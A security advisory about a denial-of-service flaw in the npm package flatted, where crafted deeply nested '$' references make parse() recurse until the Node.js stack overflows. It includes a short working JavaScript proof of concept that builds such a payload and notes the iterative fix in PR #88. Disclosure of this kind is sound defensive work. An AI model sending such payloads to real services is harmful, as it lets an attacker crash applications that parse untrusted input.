GHSA-25h7-pfq9-p65f — flatted vulnerable to unbounded recursion DoS in parse() revive phase

Affected: npm: flatted

## Summary

flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

## Impact

Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

## Proof of Concept

```javascript const flatted = require('flatted');

// Build deeply nested circular reference chain const depth = 20000; const arr = new Array(depth + 1); arr[0] = '{"a":"1"}'; for (let i = 1; i <= depth; i++) { arr[i] = `{"a":"${i + 1}"}`; } arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr); flatted.parse(payload); // RangeError: Maximum call stack size exceeded ```

## Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.

## Affected Versions

All versions prior to the PR #88 fix.

Most recent entries from all

GHSA-25h7-pfq9-p65f — flatted vulnerable to unbounded recursion DoS in parse() revive phase